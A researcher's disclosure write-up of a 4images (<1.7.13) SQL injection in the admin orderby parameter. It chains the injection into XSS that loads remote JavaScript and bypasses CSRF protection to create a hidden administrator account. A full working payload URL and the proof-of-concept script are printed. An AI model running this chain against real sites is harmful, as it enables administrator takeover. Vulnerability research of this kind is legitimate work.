Intro

From vendor website

4images is a powerful web-based image gallery management system. Features include comment system, user registration and management, password protected administration area with browser-based upload and HTML templates for page layout and design.

4images < 1.7.13 is vulnerable to sql injection flaw which can be escalated in various methods to higher access over the vulnerable host

In this write up I will demonstrate my own escalation to add new administrator account.

There are multiple sql injection flaws inside administrator panel , but most of them in POST requests

POST inputs are protected by good anti csrf function which mean it suppose to require admin interaction to add the injection payload himself in order to get executed

file includes/csrf_utils.php

function csrf_check($use_show_error = false) {
    global $HTTP_SERVER_VARS, $HTTP_POST_VARS, $site_sess, $csrf_protection_name, $csrf_protection_expires;

    if ($HTTP_SERVER_VARS['REQUEST_METHOD'] !== 'POST') {
        return;
    }

    if (isset($HTTP_POST_VARS[$csrf_protection_name])) {
        $session = $site_sess->get_session_var($csrf_protection_name);

        if (!is_array($session)) {
            return false;
        }

        $found = false;

        foreach ($session as $token => $time) {
            if (!secure_compare($token, (string) $HTTP_POST_VARS[$csrf_protection_name])) {
                continue;
            }

            if ($csrf_protection_expires) {
                if (time() <= $time + $csrf_protection_expires) {
                    $found = true;
                } else {
                    unset($session[$token]);
                }
            } else {
                $found = true;
            }

            break;
        }

        $site_sess->set_session_var($csrf_protection_name, $session);

        if ($found) {
            return;
        }
    }

    header($HTTP_SERVER_VARS['SERVER_PROTOCOL'] . ' 403 Forbidden');

    if ($use_show_error) {
        csrf_rewrite();
        show_error_page('CSRF check failed.');
    } else {
        echo "<html><head><title>CSRF check failed</title></head><body>CSRF check failed.</body></html>";
        exit;
    }
}
Code language: PHP (php)

it’s obvious that the check happen only when the request type is POST so our best bet is to find an injection flaw inside a GET request , inject an xss payload using it , bypass the csrf protection and gain admin access to the host

Vulnerability

file : admin/validateimages.php

  if (isset($HTTP_GET_VARS['orderby']) || isset($HTTP_POST_VARS['orderby'])) {
    $orderby = (isset($HTTP_GET_VARS['orderby'])) ? stripslashes(trim($HTTP_GET_VARS['orderby'])) : stripslashes(trim($HTTP_POST_VARS['orderby']));
  }
  else {
    $orderby = "i.image_date";
  }
Code language: PHP (php)
a lot and a lot of lines , then at the same file

    $sql = "SELECT i.image_id, i.cat_id, i.user_id, i.image_name, i.image_date, i.image_media_file".get_user_table_field(", u.", "user_name")."
            FROM ".IMAGES_TEMP_TABLE." i
            LEFT JOIN ".USERS_TABLE." u ON (".get_user_table_field("u.", "user_id")." = i.user_id)
            WHERE $condition
            ORDER BY $orderby $direction
            LIMIT $limitstart, $limitnumber";
    $result = $site_db->query($sql);
Code language: PHP (php)
the input parameter orderby is being passed to the sql query without any prior sanitization at line 410 Exploiting this as error based injection (Using administrator account of course) will be just as following

GET /lab/4images1.7.13/4images/admin/validateimages.php?action=validateimages&orderby=extractvalue(1,concat(0x7e,version()))&direction=ASC&limitnumber=10Code language: plaintext (plaintext)

will get the following in the response

Alot of html . . . .
td class="tableseparator">Options</td>
</tr>
<br /><font color='#FF0000'><b>DB Error</b></font>: <b>Bad SQL Query</b>: SELECT i.image_id, i.cat_id, i.user_id, i.image_name, i.image_date, i.image_media_file, u.user_name
            FROM 4images_images_temp i
            LEFT JOIN 4images_users u ON (u.user_id = i.user_id)
            WHERE 1=1
            ORDER BY extractvalue(1,concat(0x7e,version())) ASC
            LIMIT 0, 10<br /><b>XPATH syntax error: '<span style="color: #ff0000;">~5.5.25a</span>'</b><br /><tr class="tablefooter">
<td colspan="8" align="center">
&nbsp;<input type="submit" value="   Submit   " class="button">
<input type="reset" value="   Reset   " class="button">
&nbsp;
Few HTMLCode language: HTML, XML (xml)

Great ,now we can inject any string instead of version() , just make sure it’s hex encoded. The plan is

  1. Execute xss payload that load an external js file
  2. the external js file load users page , grab the csrf token
  3. same file will use the grabbed token and submit new administrator’s data from the same browser session
  4. we are done

the problem is that extract value output is limited to 32 char length to load and execute external js file we will use the classic payload <script src=”//blah.com/blah.js”></script> which wont work due to the length limitation

I tried few payloads to load AND execute the js but nth worked with me , got bored , thought about injecting using different method but actually I prefered to keep stuck with that injection and length limitation

XSS limitation bypass

after few tries and a lot of questions to @brutelogic I made it Using the following payload Just made the trick

http://localhost/lab/4images1.7.13/4images/admin/validateimages.php?action=validateimages&orderby=extractvalue(1,concat(0x3c7376672f6f6e6c6f61643d6576616c28222f2a222b55524c293e))&direction=ASC
&limitnumber=10#*/with(document)body.appendChild(createElement(/script/.source)).src=atob(/Ly9sb2NhbGhvc3QveC5qcw==/.source)Code language: plaintext (plaintext)

fast explanation the hex part 0x3c7376672f6f6e6c6f61643d6576616c28222f2a222b55524c293e is the hex encoded value of <svg/onload=eval("/*"+URL)> the after Hashtag part */with(document)body.appendChild(createElement(/script/.source)).src=atob(/Ly9sb2NhbGhvc3QveC5qcw==/.source) is the js code that will be passed to the eval() func and then load/execute the base64 encoded string which represent the js URL //localhost/x.js in our case -> Ly9sb2NhbGhvc3QveC5qcw== If you need more detailed explanation , Here it is http://brutelogic.com.br/blog/avoiding-xss-detection/

Bypassing CSRF protection

Now by our js file is really to be loaded and executed , all is left is to get through the anti csrf

1st we need to get the users page csrf token (which is changed every request) just by loading GET users.php?action=addusers via XMLHttprequest

2nd we will obtain the csrf token from the response

3rd submitting the new admin details to the users page

Full POC

var http = new XMLHttpRequest();
//var http2 = new XMLHttpRequest();
//generating CSRF token via loading users page
var url = "users.php?action=addusers";
http.open("GET", url, true);
http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http.onload = function() {
    if(http.status == 200) {
		var str=http.responseText;
		//grabbing the csrf token
		var subStr = str.match('<input type="hidden" name="__csrf" value="(.*)" />');
		token=subStr[1]
		alert("CSRF_TOKEN = "+token);
		var x4148final = new XMLHttpRequest();
		var x4148req = new FormData();    
		//appending token
		x4148req.append( '__csrf', token);
		x4148req.append( 'action', 'saveusers' );
		x4148req.append( 'num', '1' );
		x4148req.append( 'user_level_1', '9' );
		x4148req.append( 'user_name_1', '0x418fo' );
		x4148req.append( 'user_email_1', '[email protected]' );
		x4148req.append( 'user_password_1', '0x418fo' );
		x4148req.append( 'user_homepage_1', '' );
		x4148req.append( 'user_icq_1', '' );
		x4148req.append( 'user_showemail_1', '0' );
		x4148req.append( 'user_allowemails_1', '0' );
		x4148req.append( 'user_invisible_1', '1' );
		x4148req.append( 'num_newusers', '1' );
		var x4148form = new XMLHttpRequest();
		x4148form.open("POST", "users.php");
		x4148form.send(x4148req);
                x4148form.onload = function () {
                    if (x4148form.readyState === 4) {
                        console.log(x4148form.response);
                        myresponse = x4148form.response;
						alert('done ;)');
                    }
                };
		//adding new admin
		x4148final.send();
    }
}
http.send();Code language: JavaScript (javascript)

Now all the attacker need is to make an iframe to the exploitation URL , URL shorter service or even redirecting a domain to the exploitation URL sending to admin and that’s it Video

Conclusion

As usual , never underestimate the risk of any vulnerability What ever hardening / security is there , underestimating or ignoring sanitization of only one input by the pretext of “Oh , never mind , it require authentication so leave it exposed” will ruin it all 4images team really care about their product security , I mean vuln reported , reviewed and fixed within less than 1 day Special thanks to the Brute for giving a hand with the xss part Also to Ahmed allaa & Aboul-ela for the continuous spiritual and technical support

Till next time, Ahmed